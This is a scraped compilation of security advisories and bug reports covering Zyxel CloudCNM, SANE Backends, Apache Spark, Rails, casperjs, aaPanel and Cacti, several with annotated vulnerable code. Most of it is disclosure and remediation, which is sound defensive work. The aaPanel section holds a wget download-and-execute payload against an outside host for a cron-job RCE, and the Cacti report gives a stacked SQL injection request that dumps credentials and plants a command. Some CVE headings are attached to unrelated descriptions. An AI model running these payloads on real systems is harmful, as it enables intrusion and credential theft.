Zyxel CloudCNM SecuManager 3.1.0 and 3.1.1 has no authentication for /cnr requests.

1.  Homepage
2.  Support
3.  Security Advisories
4.  Zyxel security advisory for vulnerabilities of CloudCNM SecuManager

Summary

Zyxel CloudCNM SecuManager software is affected by hardcoded credentials and missing authentication vulnerabilities. We’re currently working with our vendor to fix the issues and will reach out to individual customers directly to roll out the solution.

What is the vulnerability?

Multiple vulnerabilities were identified in Zyxel CloudCNM SecuManager, namely:

*   Hardcoded SSH server keys
*   Backdoors accounts in MySQL
*   Hardcoded certificate and backdoor access in Ejabberd
*   Open ZODB storage without authentication
*   MyZyxel 'Cloud' Hardcoded Secret
*   Hardcoded Secrets, APIs
*   Predefined passwords for admin accounts
*   Insecure management over the 'Cloud'
*   xmppCnrSender.py log escape sequence injection
*   xmppCnrSender.py no authentication and clear-text communication
*   Incorrect HTTP requests cause out of range access in Zope
*   XSS on the web interface
*   Private SSH key
*   Backdoor APIs
*   Backdoor management access and RCE
*   Pre-auth RCE with chrooted access

What products are vulnerable—and what should you do?

After a thorough investigation, we’ve confirmed that the vulnerabilities affect only CloudCNM SecuManager, a network management tool customized for specific customer demands. Other Zyxel products and services are NOT affected by the reported vulnerabilities.

CloudCNM SecuManager is co-developed with a third-party vendor. Zyxel has taken immediate action to work with the vendor to resolve the issues, making this our top priority. We’ll reach out to individual customers to roll out the solution once it becomes available.

Got a question or a tipoff?

Please contact your local service rep for further information or assistance. If you’ve found a vulnerability, we want to work with you to fix it—contact security@zyxel.com.tw and we’ll get right back to you.

Source

https://pierrekim.github.io/blog/2020-03-09-zyxel-secumanager-0day-vulnerabilities.html#insecure-cloud

Revision history

2020-03-13: Initial release

CVE-2020-15336: Zyxel security advisory for vulnerabilities of CloudCNM SecuManager

An out-of-bounds read in SANE Backends before 1.0.30 may allow a malicious device connected to the same local network as the victim to read important information, such as the ASLR offsets of the program, aka GHSL-2020-082.

**Summary**

SANE Backends contains several memory corruption vulnerabilities which can be triggered by a malicious device or computer that is connected to the same network. The vulnerabilities are triggered when an application such as simple-scan searches the network for scanners. In the specific case of simple-scan, this happens immediately when simple-scan starts, so there isn’t even any need to trick the user into thinking that the scanner is genuine so that they will click on it.

We have also identified some other vulnerabilities in SANE Backends, which are less severe because they _do_ require the user to click the “Scan” button after connecting to a malicious device.

**Product**

SANE Backends

**Tested Version**

libsane1 1.0.27-1~experimental3ubuntu2.2, tested on Ubuntu 18.04.4 LTS with simple-scan 3.28.0-0ubuntu1.

**Details****Issue 1 (GHSL-2020-075, CVE-2020-12867): null pointer dereference in sanei_epson_net_read**

The function sanei_epson_net_read has buggy code for handling the situation where it receives a response with an unexpected size:

    /* receive net header */
    size = sanei_epson_net_read_raw(s, header, 12, status);
    if (size != 12) {
      return 0;
    }
    
    if (header[0] != 'I' || header[1] != 'S') {
      DBG(1, "header mismatch: %02X %02x\n", header[0], header[1]);
      *status = SANE_STATUS_IO_ERROR;
      return 0;
    }
    
    size = be32atoh(&header[6]);  <===== size is controlled by attacker
    
    DBG(23, "%s: wanted = %lu, available = %lu\n", __func__,
      (u_long) wanted, (u_long) size);
    
    *status = SANE_STATUS_GOOD;
    
    if (size == wanted) {
    
      DBG(15, "%s: full read\n", __func__);
    
      read = sanei_epson_net_read_raw(s, buf, size, status);
    
      if (s->netbuf) {
        free(s->netbuf);
        s->netbuf = NULL;
        s->netlen = 0;
      }
    
      if (read < 0) {
        return 0;
      }
    
    /*  } else if (wanted < size && s->netlen == size) { */
    } else {
      DBG(23, "%s: partial read\n", __func__);
    
      read = sanei_epson_net_read_raw(s, s->netbuf, size, status);  <===== s->netbuf could be NULL
      if (read != size) {
        return 0;
      }
    
      s->netlen = size - wanted;
      s->netptr += wanted;
      read = wanted;
    
      DBG(23, "0,4 %02x %02x\n", s->netbuf[0], s->netbuf[4]);  <===== s->netbuf could be NULL
      DBG(23, "storing %lu to buffer at %p, next read at %p, %lu bytes left\n",
        (u_long) size, s->netbuf, s->netptr, (u_long) s->netlen);
    
      memcpy(buf, s->netbuf, wanted);
    }
    
    return read;
    

Notice that the value of size is read from an incoming message, so an attacker can set it to any value they like. In the else branch, which handles the case where size != wanted, there is no check that s->netbuf is large enough for size bytes. This could potentially lead to a buffer overflow. However, our proof-of-concept exploit for this bug triggers a case where s->netbuf hasn’t even been initialized so the program crashes due to a null pointer dereference, rather than a buffer overflow.

**Impact**

This issue may lead to remote denial of service, where “remote” means a device or computer connected to the same network as the victim. For example, in a typical office environment the malicious device would need to be somewhere inside the building. Because the vulnerability causes simple-scan to crash as soon as it starts, it makes the application unusable.

**Issue 2 (GHSL-2020-079, CVE-2020-12866): null pointer dereference in epsonds_net_read**

The function epsonds_net_read has buggy code for handling the situation where it receives a response with an unexpected size:

    /* receive net header */
    size = epsonds_net_read_raw(s, header, 12, status);
    if (size != 12) {
      return 0;
    }
    
    if (header[0] != 'I' || header[1] != 'S') {
      DBG(1, "header mismatch: %02X %02x\n", header[0], header[1]);
      *status = SANE_STATUS_IO_ERROR;
      return 0;
    }
    
    // incoming payload size
    size = be32atoh(&header[6]);
    
    DBG(23, "%s: wanted = %lu, available = %lu\n", __func__,
      (u_long) wanted, (u_long) size);
    
    *status = SANE_STATUS_GOOD;
    
    if (size == wanted) {
    
      DBG(15, "%s: full read\n", __func__);
    
      if (size) {
        read = epsonds_net_read_raw(s, buf, size, status);
      }
    
      if (s->netbuf) {
        free(s->netbuf);
        s->netbuf = NULL;
        s->netlen = 0;
      }
    
      if (read < 0) {
        return 0;
      }
    
    } else if (wanted < size) {
    
      DBG(23, "%s: long tail\n", __func__);
    
      read = epsonds_net_read_raw(s, s->netbuf, size, status);  <===== no bounds check
      if (read != size) {
        return 0;
      }
    
      memcpy(buf, s->netbuf, wanted);
      read = wanted;
    
      free(s->netbuf);
      s->netbuf = NULL;
      s->netlen = 0;
    
    } else {
    
      DBG(23, "%s: partial read\n", __func__);
    
      read = epsonds_net_read_raw(s, s->netbuf, size, status);
      if (read != size) {
        return 0;
      }
    
      s->netlen = size - wanted;  <===== negative integer overflow (because size < wanted)
      s->netptr += wanted;
      read = wanted;
    
      DBG(23, "0,4 %02x %02x\n", s->netbuf[0], s->netbuf[4]);
      DBG(23, "storing %lu to buffer at %p, next read at %p, %lu bytes left\n",
        (u_long) size, s->netbuf, s->netptr, (u_long) s->netlen);
    
      memcpy(buf, s->netbuf, wanted);  <===== no bounds check
    }
    
    return read;
    

This code is very similar to the code in epson2_net.c (see issue 1) and has similar bugs. The first of these is a NULL pointer exception at epsonds-net.c, line 160.

**Impact**

This issue may lead to remote denial of service, where “remote” means a device or computer connected to the same network as the victim. For example, in a typical office environment the malicious device would need to be somewhere inside the building. Because the vulnerability causes simple-scan to crash as soon as it starts, it makes the application unusable.

**Issue 3 (GHSL-2020-080, CVE-2020-12861): heap buffer overflow in epsonds_net_read**

This bug is in the same function as issue 2: epsonds_net_read. There is a heap buffer overflow at epsonds-net.c, line 135. The value of size is controlled by the attacker, so an arbitrary amount of attacker-controlled data is written to s->netbuf.

**Impact**

This issue may lead to remote code execution, where “remote” means a device or computer connected to the same network as the victim. For example, in a typical office environment the malicious device would need to be somewhere inside the building.

**Issue 4 (GHSL-2020-081, CVE-2020-12864): reading uninitialized data in epsonds_net_read**

This bug is in the same function as issue 2: epsonds_net_read. The memcpy at epsonds-net.c, line 164 can read uninitialized data. The value of size is controlled by the attacker, so the attacker can specify that size == 0. Since s->netbuf is a newly allocated heap buffer, it contains uninitialized memory.

**Impact**

By itself, the severity of this issue is very low. However, it may be very useful to an attacker who is attempting to exploit one of the buffer overflow vulnerabilities, such as issue 3, because it may enable the attacker to obtain the ASLR offsets of the program.

**Issue 5 (GHSL-2020-082, CVE-2020-12862): out-of-bounds read in decode_binary**

The function decode_binary has an out-of-bounds read:

    /* h000 */
    static char *decode_binary(char *buf)
    {
      char tmp[6];
      int hl;
    
      memcpy(tmp, buf, 4);
      tmp[4] = '\0';
    
      if (buf[0] != 'h')
        return NULL;
    
      hl = strtol(tmp + 1, NULL, 16);
      if (hl) {
    
        char *v = malloc(hl + 1);
        memcpy(v, buf + 4, hl);
        v[hl] = '\0';
    
        return v;
      }
    
      return NULL;
    }
    

The value of hl is controlled by the attacker and can be any value between 0 and 0xFFF (4095). buf is a pointer to a 64 byte stack buffer (rbuf in esci2_cmd), so the memcpy at line 273 can copy up to 4095 bytes from the stack into the newly allocated buffer.

**Impact**

By itself, the severity of this issue is very low. However, it may be very useful to an attacker who is attempting to exploit one of the buffer overflow vulnerabilities, such as issue 3, because it may enable the attacker to obtain the ASLR offsets of the program.

esci2_check_header uses sscanf to read a number from the message:

    /* INFOx0000100#.... */
    
    /* read the answer len */
    if (buf[4] != 'x') {
      DBG(1, "unknown type in header: %c\n", buf[4]);
      return 0;
    }
    
    err = sscanf(&buf[5], "%x#", more);
    if (err != 1) {
      DBG(1, "cannot decode length from header\n");
      return 0;
    }
    

buf is a pointer to a 64 byte stack buffer (rbuf in esci2_cmd), the contents of which are entirely controlled by the attacker. If the attacker fills the buffer with the character ‘0’, then sscanf will read off the end of the buffer. If the characters beyond the buffer are valid hexadecimal digits, then they will be converted to a number and written to the variable named more. The value of more is included in the next message that is sent to the malicious device, so this issue is an information leak vulnerability.

**Impact**

This issue may lead to remote information disclosure, where “remote” means a device or computer connected to the same network as the victim. In practice, though, this issue is very low severity, because the byte immediately following the buffer is usually not a valid hexadecimal digit, so no information disclosure occurs.

**Issue 7 (GHSL-2020-084, CVE-2020-12865): buffer overflow in esci2_img**

This issue requires the user to click the “Scan” button, so it is a one-click vulnerability, rather than a zero-click vulnerability. The function esci2_img has a heap buffer overflow:

    SANE_Status
    esci2_img(struct epsonds_scanner *s, SANE_Int *length)
    {
      SANE_Status status = SANE_STATUS_GOOD;
      SANE_Status parse_status;
      unsigned int more;
      ssize_t read;
    
      *length = 0;
    
      if (s->canceling)
        return SANE_STATUS_CANCELLED;
    
      /* request image data */
      eds_send(s, "IMG x0000000", 12, &status, 64);
      if (status != SANE_STATUS_GOOD) {
        return status;
      }
    
      /* receive DataHeaderBlock */
      memset(s->buf, 0x00, 64);
      eds_recv(s, s->buf, 64, &status);
      if (status != SANE_STATUS_GOOD) {
        return status;
      }
    
      /* check if we need to read any image data */
      more = 0;
      if (!esci2_check_header("IMG ", (char *)s->buf, &more)) {  <===== attacker controls value of `more`
        return SANE_STATUS_IO_ERROR;
      }
    
      /* this handles eof and errors */
      parse_status = esci2_parse_block((char *)s->buf + 12, 64 - 12, s, &img_cb);
    
      /* no more data? return using the status of the esci2_parse_block
       * call, which might hold other error conditions.
       */
      if (!more) {
        return parse_status;
      }
    
      /* ALWAYS read image data */
      if (s->hw->connection == SANE_EPSONDS_NET) {
        epsonds_net_request_read(s, more);
      }
    
      read = eds_recv(s, s->buf, more, &status);  <===== heap buffer overflow
      if (status != SANE_STATUS_GOOD) {
        return status;
      }
    
      if (read != more) {
        return SANE_STATUS_IO_ERROR;
      }
    
      /* handle esci2_parse_block errors */
      if (parse_status != SANE_STATUS_GOOD) {
        return parse_status;
      }
    
      DBG(15, "%s: read %lu bytes, status: %d\n", __func__, (unsigned long) read, status);
    
      *length = read;
    
      if (s->canceling) {
        return SANE_STATUS_CANCELLED;
      }
    
      return SANE_STATUS_GOOD;
    }
    

**Impact**

This issue may lead to remote code execution, where “remote” means a device or computer connected to the same network as the victim. For example, in a typical office environment the malicious device would need to be somewhere inside the building.

**CVEs**

*   GHSL-2020-075 -> CVE-2020-12867
*   GHSL-2020-079 -> CVE-2020-12866
*   GHSL-2020-080 -> CVE-2020-12861
*   GHSL-2020-081 -> CVE-2020-12864
*   GHSL-2020-082 -> CVE-2020-12862
*   GHSL-2020-083 -> CVE-2020-12863
*   GHSL-2020-084 -> CVE-2020-12865

**Coordinated Disclosure Timeline**

This report was subject to the GHSL coordinated disclosure policy.

*   2020-04-21 reported: https://gitlab.com/sane-project/backends/-/issues/279
*   2020-04-21 acknowledged by Olaf Meeuwissen
*   2020-05-14 CVE request submitted to Mitre
*   2020-05-17 bugs announced on http://www.sane-project.org/ and on their mailing list
*   2020-05-30 issue 279 is derestricted. The original PoC is attached to the issue and is therefore also publicly visible.

**Resources**

*   https://gitlab.com/sane-project/backends/-/issues/279
*   https://alioth-lists.debian.net/pipermail/sane-announce/2020/000041.html
*   https://github.com/github/securitylab/tree/38b182e96a48f19b412039c0b321d6faec2b5c55/SecurityExploits/SANE/epsonds\_CVE-2020-12861

**Credit**

These issues were discovered and reported by GHSL team member @kevinbackhouse (Kevin Backhouse).

You can contact the GHSL team at securitylab@github.com, please include the relevant GHSL IDs in any communication regarding these issues.

CVE-2020-12862: GHSL-2020-075, GHSL-2020-079, GHSL-2020-080, GHSL-2020-081, GHSL-2020-082, GHSL-2020-083, GHSL-2020-084: Multiple vulnerabilities in SANE Backends (DoS, RCE)

An out-of-bounds read in SANE Backends before 1.0.30 may allow a malicious device connected to the same local network as the victim to read important information, such as the ASLR offsets of the program, aka GHSL-2020-081.

CVE-2020-12864: GHSL-2020-075, GHSL-2020-079, GHSL-2020-080, GHSL-2020-081, GHSL-2020-082, GHSL-2020-083, GHSL-2020-084: Multiple vulnerabilities in SANE Backends (DoS, RCE)

In Apache Spark 2.4.5 and earlier, a standalone resource manager's master may be configured to require authentication (spark.authenticate) via a shared secret. When enabled, however, a specially-crafted RPC to the master can succeed in starting an application's resources on the Spark cluster, even without the shared key. This can be leveraged to execute shell commands on the host machine. This does not affect Spark clusters using other resource managers (YARN, Mesos, etc).

**Reporting security issues**

Apache Spark uses the standard process outlined by the Apache Security Team for reporting vulnerabilities. Note that vulnerabilities should not be publicly disclosed until the project has responded.

To report a possible security vulnerability, please email `security@spark.apache.org`. This is a non-public list that will reach the Apache Security team, as well as the Spark PMC.

**Known security issues****CVE-2021-38296: Apache Spark™ Key Negotiation Vulnerability**

Severity: Medium

Vendor: The Apache Software Foundation

Versions Affected:

*   Apache Spark 3.1.2 and earlier

Description:

Apache Spark supports end-to-end encryption of RPC connections via `spark.authenticate` and `spark.network.crypto.enabled`. In versions 3.1.2 and earlier, it uses a bespoke mutual authentication protocol that allows for full encryption key recovery. After an initial interactive attack, this would allow someone to decrypt plaintext traffic offline. Note that this does not affect security mechanisms controlled by `spark.authenticate.enableSaslEncryption`, `spark.io.encryption.enabled`, `spark.ssl`, `spark.ui.strictTransportSecurity`.

Mitigation:

*   Update to Spark 3.1.3 or later

Credit:

*   Steve Weis (Databricks)

**CVE-2020-9480: Apache Spark™ RCE vulnerability in auth-enabled standalone master**

Severity: Important

Vendor: The Apache Software Foundation

Versions Affected:

*   Apache Spark 2.4.5 and earlier

Description:

In Apache Spark 2.4.5 and earlier, a standalone resource manager’s master may be configured to require authentication (`spark.authenticate`) via a shared secret. When enabled, however, a specially-crafted RPC to the master can succeed in starting an application’s resources on the Spark cluster, even without the shared key. This can be leveraged to execute shell commands on the host machine.

This does not affect Spark clusters using other resource managers (YARN, Mesos, etc).

Mitigation:

*   Users should update to Spark 2.4.6 or 3.0.0.
*   Where possible, network access to the cluster machines should be restricted to trusted hosts only.

Credit:

*   Ayoub Elaassal

**CVE-2019-10099: Apache Spark™ unencrypted data on local disk**

Severity: Important

Vendor: The Apache Software Foundation

Versions affected:

*   All Spark 1.x, Spark 2.0.x, Spark 2.1.x, and 2.2.x versions
*   Spark 2.3.0 to 2.3.2

Description:

Prior to Spark 2.3.3, in certain situations Spark would write user data to local disk unencrypted, even if `spark.io.encryption.enabled=true`. This includes cached blocks that are fetched to disk (controlled by `spark.maxRemoteBlockSizeFetchToMem`); in SparkR, using parallelize; in Pyspark, using broadcast and parallelize; and use of python udfs.

Mitigation:

*   1.x, 2.0.x, 2.1.x, 2.2.x, 2.3.x users should upgrade to 2.3.3 or newer, including 2.4.x

Credit:

*   This issue was reported by Thomas Graves of NVIDIA.

**CVE-2018-11760: Apache Spark™ local privilege escalation vulnerability**

Severity: Important

Vendor: The Apache Software Foundation

Versions affected:

*   All Spark 1.x, Spark 2.0.x, and Spark 2.1.x versions
*   Spark 2.2.0 to 2.2.2
*   Spark 2.3.0 to 2.3.1

Description:

When using PySpark, it’s possible for a different local user to connect to the Spark application and impersonate the user running the Spark application. This affects versions 1.x, 2.0.x, 2.1.x, 2.2.0 to 2.2.2, and 2.3.0 to 2.3.1.

Mitigation:

*   1.x, 2.0.x, 2.1.x, and 2.2.x users should upgrade to 2.2.3 or newer
*   2.3.x users should upgrade to 2.3.2 or newer
*   Otherwise, affected users should avoid using PySpark in multi-user environments.

Credit:

*   Luca Canali and Jose Carlos Luna Duran, CERN

**CVE-2018-17190: Unsecured Apache Spark™ standalone executes user code**

Severity: Low

Vendor: The Apache Software Foundation

Versions Affected:

*   All versions of Apache Spark

Description:

Spark’s standalone resource manager accepts code to execute on a ‘master’ host, that then runs that code on ‘worker’ hosts. The master itself does not, by design, execute user code. A specially-crafted request to the master can, however, cause the master to execute code too. Note that this does not affect standalone clusters with authentication enabled. While the master host typically has less outbound access to other resources than a worker, the execution of code on the master is nevertheless unexpected.

Mitigation:

Enable authentication on any Spark standalone cluster that is not otherwise secured from unwanted access, for example by network-level restrictions. Use `spark.authenticate` and related security properties described at https://spark.apache.org/docs/latest/security.html

Credit:

*   Andre Protas, Apple Information Security

**CVE-2018-11804: Apache Spark™ build/mvn runs zinc, and can expose information from build machines**

Severity: Low

Vendor: The Apache Software Foundation

Versions Affected

*   1.3.x release branch and later

Description:

Spark’s Apache Maven-based build includes a convenience script, ‘build/mvn’, that downloads and runs a zinc server to speed up compilation. This server will accept connections from external hosts by default. A specially-crafted request to the zinc server could cause it to reveal information in files readable to the developer account running the build. Note that this issue does not affect end users of Spark, only developers building Spark from source code.

Mitigation:

*   Spark users are not affected, as zinc is only a part of the build process.
*   Spark developers may simply use a local Maven installation’s ‘mvn’ command to build, and avoid running build/mvn and zinc.
*   Spark developers building actively-developed branches (2.2.x, 2.3.x, 2.4.x, master) may update their branches to receive mitigations already patched onto the build/mvn script
*   Spark developers running zinc separately may include “-server 127.0.0.1” in its command line, and consider additional flags like “-idle-timeout 30m” to achieve similar mitigation.

Credit:

*   Andre Protas, Apple Information Security

**CVE-2018-11770: Apache Spark™ standalone master, Mesos REST APIs not controlled by authentication**

Severity: Medium

Vendor: The Apache Software Foundation

Versions Affected:

*   Spark versions from 1.3.0, running standalone master with REST API enabled, or running Mesos master with cluster mode enabled

Description:

From version 1.3.0 onward, Spark’s standalone master exposes a REST API for job submission, in addition to the submission mechanism used by `spark-submit`. In standalone, the config property `spark.authenticate.secret` establishes a shared secret for authenticating requests to submit jobs via `spark-submit`. However, the REST API does not use this or any other authentication mechanism, and this is not adequately documented. In this case, a user would be able to run a driver program without authenticating, but not launch executors, using the REST API. This REST API is also used by Mesos, when set up to run in cluster mode (i.e., when also running `MesosClusterDispatcher`), for job submission. Future versions of Spark will improve documentation on these points, and prohibit setting `spark.authenticate.secret` when running the REST APIs, to make this clear. Future versions will also disable the REST API by default in the standalone master by changing the default value of `spark.master.rest.enabled` to `false`.

Mitigation:

For standalone masters, disable the REST API by setting `spark.master.rest.enabled` to `false` if it is unused, and/or ensure that all network access to the REST API (port 6066 by default) is restricted to hosts that are trusted to submit jobs. Mesos users can stop the `MesosClusterDispatcher`, though that will prevent them from running jobs in cluster mode. Alternatively, they can ensure access to the `MesosRestSubmissionServer` (port 7077 by default) is restricted to trusted hosts.

Credit:

*   Imran Rashid, Cloudera
*   Fengwei Zhang, Alibaba Cloud Security Team

**CVE-2018-8024: Apache Spark™ XSS vulnerability in UI**

Severity: Medium

Versions Affected:

*   Spark 2.1.0 through 2.1.2
*   Spark 2.2.0 through 2.2.1
*   Spark 2.3.0

Description:

In Apache Spark 2.1.0 to 2.1.2, 2.2.0 to 2.2.1, and 2.3.0, it’s possible for a malicious user to construct a URL pointing to a Spark cluster’s UI’s job and stage info pages, and if a user can be tricked into accessing the URL, can be used to cause script to execute and expose information from the user’s view of the Spark UI. While some browsers like recent versions of Chrome and Safari are able to block this type of attack, current versions of Firefox (and possibly others) do not.

Mitigation:

*   2.1.x users should upgrade to 2.1.3 or newer
*   2.2.x users should upgrade to 2.2.2 or newer
*   2.3.x users should upgrade to 2.3.1 or newer

Credit:

*   Spencer Gietzen, Rhino Security Labs

**CVE-2018-1334: Apache Spark™ local privilege escalation vulnerability**

Severity: High

Vendor: The Apache Software Foundation

Versions affected:

*   Spark versions through 2.1.2
*   Spark 2.2.0 to 2.2.1
*   Spark 2.3.0

Description:

In Apache Spark up to and including 2.1.2, 2.2.0 to 2.2.1, and 2.3.0, when using PySpark or SparkR, it’s possible for a different local user to connect to the Spark application and impersonate the user running the Spark application.

Mitigation:

*   1.x, 2.0.x, and 2.1.x users should upgrade to 2.1.3 or newer
*   2.2.x users should upgrade to 2.2.2 or newer
*   2.3.x users should upgrade to 2.3.1 or newer
*   Otherwise, affected users should avoid using PySpark and SparkR in multi-user environments.

Credit:

*   Nehmé Tohmé, Cloudera, Inc.

**CVE-2017-12612 Unsafe deserialization in Apache Spark™ launcher API**

JIRA: SPARK-20922

Severity: Medium

Vendor: The Apache Software Foundation

Versions Affected:

*   Versions of Apache Spark from 1.6.0 until 2.1.1

Description:

In Apache Spark 1.6.0 until 2.1.1, the launcher API performs unsafe deserialization of data received by its socket. This makes applications launched programmatically using the launcher API potentially vulnerable to arbitrary code execution by an attacker with access to any user account on the local machine. It does not affect apps run by spark-submit or spark-shell. The attacker would be able to execute code as the user that ran the Spark application. Users are encouraged to update to version 2.1.2, 2.2.0 or later.

Mitigation:

Update to Apache Spark 2.1.2, 2.2.0 or later.

Credit:

*   Aditya Sharad, Semmle

**CVE-2017-7678 Apache Spark™ XSS web UI MHTML vulnerability**

JIRA: SPARK-20393

Severity: Medium

Vendor: The Apache Software Foundation

Versions Affected:

*   Versions of Apache Spark before 2.1.2, 2.2.0

Description:

It is possible for an attacker to take advantage of a user’s trust in the server to trick them into visiting a link that points to a shared Spark cluster and submits data including MHTML to the Spark master, or history server. This data, which could contain a script, would then be reflected back to the user and could be evaluated and executed by MS Windows-based clients. It is not an attack on Spark itself, but on the user, who may then execute the script inadvertently when viewing elements of the Spark web UIs.

Mitigation:

Update to Apache Spark 2.1.2, 2.2.0 or later.

Example:

Request:

    GET /app/?appId=Content-Type:%20multipart/related;%20boundary=_AppScan%0d%0a--
    _AppScan%0d%0aContent-Location:foo%0d%0aContent-Transfer-
    Encoding:base64%0d%0a%0d%0aPGh0bWw%2bPHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD48L2h0bWw%2b%0d%0a
    HTTP/1.1
    

Excerpt from response:

    <div class="row-fluid">No running application with ID Content-Type: multipart/related;
    boundary=_AppScan
    --_AppScan
    Content-Location:foo
    Content-Transfer-Encoding:base64
    PGh0bWw+PHNjcmlwdD5hbGVydCgiWFNTIik8L3NjcmlwdD48L2h0bWw+
    </div>
    

Result: In the above payload the BASE64 data decodes as:

    <html><script>alert("XSS")</script></html>
    

Credit:

*   Mike Kasper, Nicholas Marion
*   IBM z Systems Center for Secure Engineering

CVE-2020-9480: Security | Apache Spark

A flaw was found in the CloudForms management engine, which triggered remote code execution through NFS schedule backup. An attacker logged into the management console could use this flaw to execute arbitrary shell commands on the CloudForms server as root.

'CVE-2019-14894?cve=title' is not a valid bug number nor an alias to a bug.

Please press **Back** and try again.

CVE-2019-14894: Invalid Bug ID

A deserialization of untrusted data vulnernerability exists in rails < 5.2.4.3, rails < 6.0.3.1 that can allow an attacker to unmarshal user-provided objects in MemCacheStore and RedisCacheStore potentially resulting in an RCE.

Potentially unintended unmarshalling of user-provided objects in MemCacheStore and RedisCacheStore

There is potentially unexpected behaviour in the MemCacheStore and RedisCacheStore where, when  
untrusted user input is written to the cache store using the \`raw: true\` parameter, re-reading the result  
from the cache can evaluate the user input as a Marshalled object instead of plain text. Vulnerable code looks like:

\`\`\`  
data = cache.fetch("demo", raw: true) { untrusted\_string }  
\`\`\`

This vulnerability has been assigned the CVE identifier CVE-2020-8165.

Versions Affected: rails < 5.2.5, rails < 6.0.4  
Not affected: Applications not using MemCacheStoer or RedisCacheStore. Applications that do not use the \`raw\` option when storing untrusted user input.  
Fixed Versions: rails >= 5.2.4.3, rails >= 6.0.3.1

Impact  
\------

Unmarshalling of untrusted user input can have impact up to and including RCE. At a minimum,  
this vulnerability allows an attacker to inject untrusted Ruby objects into a web application.

In addition to upgrading to the latest versions of Rails, developers should ensure that whenever  
they are calling \`Rails.cache.fetch\` they are using consistent values of the \`raw\` parameter for both  
reading and writing, especially in the case of the RedisCacheStore which does not, prior to these changes,  
detect if data was serialized using the raw option upon deserialization.

Releases  
\--------

The fixed releases are available on RubyGems.

Workarounds  
\-----------

It is recommended that application developers apply the suggested patch or upgrade to the latest release as  
soon as possible. If this is not possible, we recommend ensuring that all user-provided strings cached using  
the \`raw\` argument should be double-checked to ensure that they conform to the expected format.

Patches  
\-------

For developers who are not able to immediately patch their applications,  
we are including the following patches for Rails 6.0.3 and Rails 5.2.4.2.

\* 5-2-cache-storage.patch - Patch for 5.2 series  
\* 6-0-cache-storage.patch - Patch for 6.0 series

Credits  
\-------

Thank you to Dylan Thacker-Smith for reporting this vulnerability via our HackerOne program and providing a comprehensive set of patches.

CVE-2020-8165: [CVE-2020-8165] Potentially unintended unmarshalling of user-provided objects in MemCacheStore and RedisCacheStore

In all versions of package casperjs, the mergeObjects utility function is susceptible to Prototype Pollution.

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

*   Unsafe Object recursive merge
    
*   Property definition by path
    

**Unsafe Object recursive merge**

The logic of a vulnerable recursive merge function follows the following high-level model:

    merge (target, source)
    
      foreach property of source
    if property exists and is an object on both the target and the source
    
      merge(target[property], source[property])
    
    else
    
      target[property] = source[property]
    
    

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

**Property definition by path**

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

CVE-2020-7679: Snyk Vulnerability Database | Snyk

aaPanel through 6.6.6 allows remote authenticated users to execute arbitrary commands via the Script Content box on the Add Cron Job screen.

**aapanel****aapanel 6.6.6 - CVE-2020-14950**

*   Description : allows remote authenticated users to execute arbitrary commands via the setting menu of Sotfware Store.
*   Affected version : All <= 6.6.6

**Information**

To make this PoC, I just installed the software using docker-compose

*   Vulnerability Type : Remote command execution (Authenticated RCE)

**POC**

Go to Software Store, click on any row from the setting's field, intercept the request when you click on "start/stop/restart" and modify/edit the resquest to execute what you want. Here is an example with curl :

**aapanel 6.6.6 - CVE-2020-14421**

*   Description : Allows attacker to run arbitrary command remotely
*   Affected version : All <= 6.6.6

**Information**

To make this PoC, I just installed fresh Ubuntu 20.04, then I installed wget + sudo and executed this script wget -O install.sh http://www.aapanel.com/script/install-ubuntu_6.0_en.sh && sudo bash install.sh

*   Vulnerability Type : Remote command execution (RCE Authenticated)

**POC**

First of all, setup web\_delivery options, this will create a payload and a listener.

Now run it

this will generate the following payload:

wget -qO wt8v00sC --no-check-certificate http://xxxx:8088/gUVn1orp; chmod +x wt8v00sC; ./wt8v00sC& disown

Then copy/past like this into script content of crontab menu in aapanel.

Now just execute your crontab and wait your session.

**Fast Exploit**

Just run msfconsole -r aapanel.rc copy/paste the payload into script content section, and enjoy your session.

CVE-2020-14421: GitHub - jenaye/aapanel: aapanel 6.6.6 - (Authenticated) Remote Code Execution

A SQL injection issue in color.php in Cacti 1.2.12 allows an admin to inject SQL via the filter parameter. This can lead to remote command execution because the product accepts stacked queries.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed

Mayfly277 opened this issue

Jun 17, 2020

· 13 comments

**Comments**

**sqli as admin v1.2.12**

There is an sql injection on the latest version (in the /cacti/color.php page on the parameter filter.

**To Reproduce**

Steps to reproduce the behavior:

call /cacti/color.php?action=export&header=false&filter=')<SQLI HERE>--+-

**Expected behavior**

change the following lines :  

$sql\_where = "WHERE (name LIKE '%" . get\_request\_var('filter') . "%'

    	/* form the 'where' clause for our main sql query */
    	if (get_request_var('filter') != '') {
    		$sql_where = "WHERE (name LIKE '%" . get_request_var('filter') . "%'
    			OR hex LIKE '%" .  get_request_var('filter') . "%')";
    	} else {
    		$sql_where = '';
    }
    

You should do db_qstr('%' . get_request_var('filter') . '%') instead of '%" . get\_request\_var('filter') . "%.

**Additional context**

*   As the application accept stacked queries, this can easy lead to remote code execution by replacing the path\_php\_binary setting inside the database.

    GET /cacti/color.php?action=export&header=false&filter=1')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='touch+/tmp/sqli_from_rce;'+where+name='path_php_binary';--+- 
    

*   Then call host.php?action=reindex and get the shell\_exec called with the path\_php\_binary.  
    

